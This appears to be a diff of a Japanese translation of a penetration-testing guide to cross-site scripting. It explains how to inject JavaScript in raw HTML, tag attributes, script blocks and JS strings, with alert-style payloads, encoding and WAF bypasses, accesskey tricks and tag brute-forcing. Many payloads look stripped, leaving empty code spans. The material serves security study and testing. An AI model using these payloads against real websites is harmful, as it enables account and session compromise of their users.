-XSSを悪用しようとする際に最初に知っておくべきことは、**あなたの入力がどこに反映されているか**です。コンテキストに応じて、異なる方法で任意のJSコードを実行できるようになります。 +XSSを悪用しようとする際に最初に知っておくべきことは、**あなたの入力がどこに反映されているか**です。コンテキストによって、異なる方法で任意のJSコードを実行できるようになります。 ### 生のHTML @@ -60,10 +60,10 @@ XSSを悪用しようとする際に最初に知っておくべきことは、** あなたの入力がタグの属性の値内に反映されている場合、次のことを試みることができます: -1. **属性とタグから抜け出す**(その後、生のHTMLにいることになります)新しいHTMLタグを作成して悪用します:`">`がエンコードまたは削除されている)、タグに応じて**JSコードを実行するイベントを作成**できるかもしれません:`" autofocus onfocus=alert(1) x="` -3. **属性から抜け出せない**場合(`"`がエンコードまたは削除されている)、あなたの値が反映されている**属性**に応じて、**すべての値を制御しているか、一部だけを制御しているか**によって悪用できるかもしれません。**例えば**、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。もう一つの興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できます:**`href="javascript:alert(1)"`** -4. あなたの入力が「**悪用できないタグ**」内に反映されている場合、脆弱性を悪用するために**`accesskey`**トリックを試みることができます(これを悪用するには何らかの社会工学が必要です):**`" accesskey="x" onclick="alert(1)" x="`** +1. **属性とタグから抜け出す**(その後、生のHTMLにいることになります)ことを試み、新しいHTMLタグを作成して悪用します:`">`がエンコードまたは削除されている)、タグに応じてJSコードを実行する**イベントを作成**できるかもしれません:`" autofocus onfocus=alert(1) x="` +3. **属性から抜け出せない**場合(`"`がエンコードまたは削除されている)、あなたの値が反映されている**属性**に応じて、**すべての値を制御しているか、一部だけを制御しているか**によって悪用できるかもしれません。例えば、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。もう一つの興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できます:**`href="javascript:alert(1)"`** +4. あなたの入力が「**悪用できないタグ**」内に反映されている場合、**`accesskey`**トリックを試みて脆弱性を悪用できるかもしれません(これを悪用するには何らかの社会工学が必要です):**`" accesskey="x" onclick="alert(1)" x="`** クラス名を制御している場合のAngularによるXSSの奇妙な例: ```html @@ -75,7 +75,7 @@ XSSを悪用しようとする際に最初に知っておくべきことは、** この場合、あなたの入力はHTMLページの**``**タグ、`.js`ファイル、または**`javascript:`**プロトコルを使用した属性の間に反映されます: -* **``**タグの間に反映されている場合、たとえあなたの入力がどんな種類の引用符の中にあっても、``を注入してこのコンテキストから**脱出**しようとすることができます。これは、**ブラウザが最初にHTMLタグを解析**し、その後にコンテンツを解析するため、あなたが注入した``タグがHTMLコードの中にあることに気づかないからです。 +* **``**タグの間に反映されている場合、たとえあなたの入力がどんな種類の引用符の中にあっても、``を注入してこのコンテキストから脱出しようとすることができます。これは、**ブラウザが最初にHTMLタグを解析し**、次にコンテンツを解析するため、あなたが注入した``タグがHTMLコードの中にあることに気づかないからです。 * **JS文字列の中に反映されている**場合、最後のトリックが機能しない場合は、**文字列から脱出**し、**コードを実行**し、**JSコードを再構築**する必要があります(エラーがある場合は実行されません): * `'-alert(1)-'` * `';-alert(1)//` @@ -89,7 +89,7 @@ XSSを悪用しようとする際に最初に知っておくべきことは、** ``` #### Javascript Hoisting -Javascript Hoistingは、**関数、変数、またはクラスを使用した後に宣言する機会を指し、未宣言の変数や関数を使用するXSSのシナリオを悪用できることを意味します。**\ +Javascript Hoistingは、**関数、変数、またはクラスを使用した後に宣言する機会を指し、未宣言の変数や関数を使用するXSSのシナリオを悪用できるようにします。**\ **詳細については、以下のページを確認してください:** {% content-ref url="js-hoisting.md" %} @@ -104,7 +104,7 @@ Javascript Hoistingは、**関数、変数、またはクラスを使用した ![](<../../.gitbook/assets/image (711).png>) -脆弱性がある場合、**値を送信するだけでアラートをトリガーできるかもしれません: **`?callback=alert(1)`**。ただし、これらのエンドポイントは、**内容を検証して、文字、数字、ドット、アンダースコアのみを許可することが非常に一般的です(**`[\w\._]`**)。** +脆弱性がある場合、**値を送信するだけでアラートをトリガーできる可能性があります: **`?callback=alert(1)`**。ただし、これらのエンドポイントは、**内容を検証して、文字、数字、ドット、アンダースコアのみを許可することが非常に一般的です(**`[\w\._]`**)。** しかし、その制限があっても、いくつかのアクションを実行することは依然として可能です。これは、有効な文字を使用して**DOM内の任意の要素にアクセスできるためです**: @@ -138,7 +138,7 @@ parentElement ### **ユニバーサルXSS** -この種のXSSは**どこにでも**見つけることができます。これらは、Webアプリケーションのクライアントの悪用だけでなく、**あらゆる****コンテキスト**に依存します。この種の**任意のJavaScript実行**は、**RCE**を取得したり、クライアントやサーバーの**任意のファイルを読み取ったり**するために悪用されることさえあります。\ +この種のXSSは**どこにでも**見つけることができます。これは、Webアプリケーションのクライアントの悪用だけでなく、**あらゆる** **コンテキスト**に依存します。この種の**任意のJavaScript実行**は、**RCE**を取得したり、クライアントやサーバーの**任意のファイルを読み取ったり**するために悪用されることさえあります。\ いくつかの**例**: {% content-ref url="server-side-xss-dynamic-pdf.md" %} @@ -165,16 +165,16 @@ _**注: HTMLコメントは、\*\*\*\***** ****`-->`**** ****または \*\*\*\** ``` -しかし、タグ/属性のブラック/ホワイトリストが使用されている場合、どのタグを作成できるかを**ブルートフォース**する必要があります。\ -どのタグが許可されているかを**特定したら**、見つかった有効なタグ内の**属性/イベントをブルートフォース**して、どのようにコンテキストを攻撃できるかを確認する必要があります。 +しかし、タグ/属性のブラックリスト/ホワイトリストが使用されている場合、どのタグを作成できるかを**ブルートフォース**する必要があります。\ +一度**許可されているタグを特定したら**、見つかった有効なタグ内の**属性/イベントをブルートフォース**して、どのようにコンテキストを攻撃できるかを確認する必要があります。 ### タグ/イベントのブルートフォース -[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)に移動し、_**タグをクリップボードにコピー**_をクリックします。次に、Burp intruderを使用してそれらをすべて送信し、WAFによって悪意のあるものとして発見されなかったタグがあるかどうかを確認します。使用できるタグを特定したら、有効なタグを使用して**すべてのイベントをブルートフォース**できます(同じウェブページで_**イベントをクリップボードにコピー**_をクリックし、前と同じ手順に従います)。 +[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)に移動し、_**タグをクリップボードにコピー**_をクリックします。次に、Burp intruderを使用してそれらすべてを送信し、WAFによって悪意のあるものとして発見されなかったタグがあるかどうかを確認します。使用できるタグを特定したら、有効なタグを使用して**すべてのイベントをブルートフォース**できます(同じウェブページで_**イベントをクリップボードにコピー**_をクリックし、前と同じ手順に従います)。 ### カスタムタグ -有効なHTMLタグが見つからなかった場合、**カスタムタグを作成**し、`onfocus`属性でJSコードを実行することを試みることができます。XSSリクエストでは、URLを`#`で終わらせてページがそのオブジェクトに**フォーカス**し、コードを**実行**する必要があります。 +有効なHTMLタグが見つからなかった場合、**カスタムタグを作成**し、`onfocus`属性でJSコードを実行することを試みることができます。XSSリクエストでは、URLを`#`で終わらせてページが**そのオブジェクトにフォーカス**し、コードを**実行**する必要があります: ``` /?search=#x ``` @@ -247,17 +247,17 @@ To check in which characters are decomposed check [here](https://www.compart.com ### Click XSS - Clickjacking -もし脆弱性を悪用するために**ユーザーがリンクや事前に入力されたデータを持つフォームをクリックする必要がある**場合、[**Clickjackingを悪用する**](../clickjacking.md#xss-clickjacking)ことを試みることができます(ページが脆弱な場合)。 +脆弱性を悪用するために**ユーザーがリンクやフォーム**をクリックする必要がある場合、[**Clickjackingを悪用する**](../clickjacking.md#xss-clickjacking)ことを試みることができます(ページが脆弱な場合)。 ### Impossible - Dangling Markup -もし**JSコードを実行する属性を持つHTMLタグを作成することが不可能だと思う**なら、[**Dangling Markup**](../dangling-markup-html-scriptless-injection/)を確認してください。なぜなら、**JS**コードを実行することなく脆弱性を**悪用**できるかもしれません。 +**JSコードを実行する属性を持つHTMLタグを作成することは不可能だと思う**なら、[**Dangling Markup**](../dangling-markup-html-scriptless-injection/)を確認してください。なぜなら、**JS**コードを実行することなく**脆弱性を悪用**できるからです。 ## Injecting inside HTML tag ### Inside the tag/escaping from attribute value -もし**HTMLタグの内部にいる**場合、最初に試すべきことは**タグからエスケープ**し、[前のセクション](./#injecting-inside-raw-html)で言及された技術のいくつかを使用してJSコードを実行することです。\ +**HTMLタグの内部にいる**場合、最初に試すべきことは、タグから**エスケープ**し、[前のセクション](./#injecting-inside-raw-html)で言及された技術のいくつかを使用してJSコードを実行することです。\ もし**タグからエスケープできない**場合、タグの内部に新しい属性を作成してJSコードを実行しようとすることができます。例えば、(_この例では属性からエスケープするために二重引用符が使用されていますが、入力がタグ内に直接反映される場合は必要ありません_): ```bash " autofocus onfocus=alert(document.domain) x=" @@ -280,7 +280,7 @@ To check in which characters are decomposed check [here](https://www.compart.com **HTMLエンコーディング/URLエンコードを使用したイベント内のバイパス** -HTMLタグ属性の値内の**HTMLエンコードされた文字**は**実行時にデコードされます**。したがって、次のようなものは有効です(ペイロードは太字で示されています):`戻る ` +HTMLタグ属性の値内の**HTMLエンコードされた文字**は**実行時にデコードされます**。したがって、次のようなものは有効です(ペイロードは太字で示されています):`戻る` **あらゆる種類のHTMLエンコードが有効であることに注意してください**: ```javascript @@ -333,7 +333,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc ``` **これらのプロトコルを注入できる場所** -**一般的に** `javascript:` プロトコルは **`href` 属性を受け入れる任意のタグで使用でき**、**ほとんどの** `src` 属性を受け入れるタグで使用できます(ただし `` は除く) +**一般的に** `javascript:` プロトコルは **`href` 属性を受け入れる任意のタグで使用でき**、**ほとんどの** `src` **属性を受け入れるタグで使用できます**(ただし `` は除く) ```markup @@ -355,7 +355,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc ``` **他の難読化トリック** -_**この場合、前のセクションのHTMLエンコーディングとUnicodeエンコーディングのトリックも有効です。あなたは属性内にいるからです。**_ +_**この場合、前のセクションのHTMLエンコーディングとUnicodeエンコーディングトリックも有効です。あなたは属性内にいるためです。**_ ```javascript ``` @@ -367,9 +367,9 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode ``` 注意してください、もしあなたが**両方を使用しようとすると** `URLencode + HTMLencode` どの順序でも**ペイロード**をエンコードすると**動作しません**が、**ペイロード内で混ぜることができます**。 -**`javascript:`を使った16進数と8進数のエンコード** +**`javascript:`を使ったHexおよびOctalエンコード** -**Hex**と**Octal encode**を`iframe`の`src`属性内で(少なくとも)使用して**JSを実行するHTMLタグを宣言する**ことができます: +あなたは**Hex**および**Octalエンコード**を`iframe`の`src`属性内で(少なくとも)使用して**JSを実行するHTMLタグを宣言する**ことができます: ```javascript //Encoded: // This WORKS @@ -385,7 +385,7 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode ```javascript //No safari @@ -424,7 +424,7 @@ Android: %09 %20 %28 %2C %3B
Newsletter popup
``` -[**こちら**](https://portswigger.net/research/xss-in-hidden-input-fields)から: **隠し属性**内で**XSSペイロード**を実行できますが、**犠牲者**に**キーの組み合わせ**を押すように**説得**する必要があります。FirefoxのWindows/Linuxではキーの組み合わせは**ALT+SHIFT+X**で、OS Xでは**CTRL+ALT+X**です。アクセスキー属性で異なるキーを使用して異なるキーの組み合わせを指定できます。こちらがベクターです: +[**こちら**](https://portswigger.net/research/xss-in-hidden-input-fields)から: **隠し属性**内に**XSSペイロード**を実行できますが、**犠牲者**に**キーの組み合わせ**を押すように**説得**する必要があります。FirefoxのWindows/Linuxではキーの組み合わせは**ALT+SHIFT+X**で、OS Xでは**CTRL+ALT+X**です。アクセスキー属性で異なるキーを使用して異なるキーの組み合わせを指定できます。こちらがベクターです: ```markup ``` @@ -450,11 +450,11 @@ Android: %09 %20 %28 %2C %3B ### CSSガジェット -もし、**非常に小さな部分**のウェブでXSSを見つけた場合、何らかのインタラクションが必要です(例えば、マウスオーバー要素を持つフッターの小さなリンクなど)、その要素が占める**スペースを変更して**、リンクが発火する確率を最大化することを試みることができます。 +もし、**非常に小さな部分**のウェブでXSSを見つけた場合、何らかのインタラクションが必要です(例えば、マウスオーバー要素を持つフッターの小さなリンク)、その要素が占めるスペースを**変更してリンクが発火する確率を最大化**することを試みることができます。 例えば、要素に次のようなスタイルを追加することができます:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` -しかし、WAFがスタイル属性をフィルタリングしている場合、CSSスタイリングガジェットを使用することができます。例えば、次のようなものを見つけた場合 +しかし、WAFがスタイル属性をフィルタリングしている場合、CSSスタイリングガジェットを使用できます。例えば、次のようなものを見つけた場合 > .test {display:block; color: blue; width: 100%\} @@ -474,7 +474,7 @@ Android: %09 %20 %28 %2C %3B ### \`の中に挿入されている場合、簡単に**``の中に挿入されている場合、簡単に**` ``` @@ -482,7 +482,7 @@ Android: %09 %20 %28 %2C %3B ### JSコード内 -`<>`がサニタイズされている場合でも、**文字列をエスケープ**し、**任意のJSを実行**することができます。JSの構文を**修正する**ことが重要です。エラーがあると、JSコードは実行されません。 +`<>`がサニタイズされている場合でも、**入力が**ある場所で**文字列をエスケープ**し、**任意のJSを実行**することができます。JSの構文を**修正する**ことが重要です。エラーがあると、JSコードは実行されません: ``` '-alert(document.domain)-' ';alert(document.domain)// @@ -490,8 +490,8 @@ Android: %09 %20 %28 %2C %3B ``` ### テンプレートリテラル \`\` -**文字列**を単一引用符や二重引用符以外で構築するために、JSは**バックティック** **` `` `**も受け入れます。これはテンプレートリテラルと呼ばれ、`${ ... }`構文を使用して**JS式を埋め込む**ことができます。\ -したがって、入力がバックティックを使用しているJS文字列内に**反映**されていることがわかった場合、`${ ... }`構文を悪用して**任意のJSコード**を実行できます: +文字列を構築するために、シングルクォートやダブルクォートの他に、JSは**バックティック** **` `` `**も受け入れます。これはテンプレートリテラルと呼ばれ、`${ ... }`構文を使用して**JS式を埋め込む**ことができます。\ +したがって、バックティックを使用しているJS文字列の中に入力が**反映**されていることがわかった場合、`${ ... }`構文を悪用して**任意のJSコード**を実行することができます: これは次のように**悪用**できます: ```javascript @@ -511,7 +511,7 @@ loop``````````````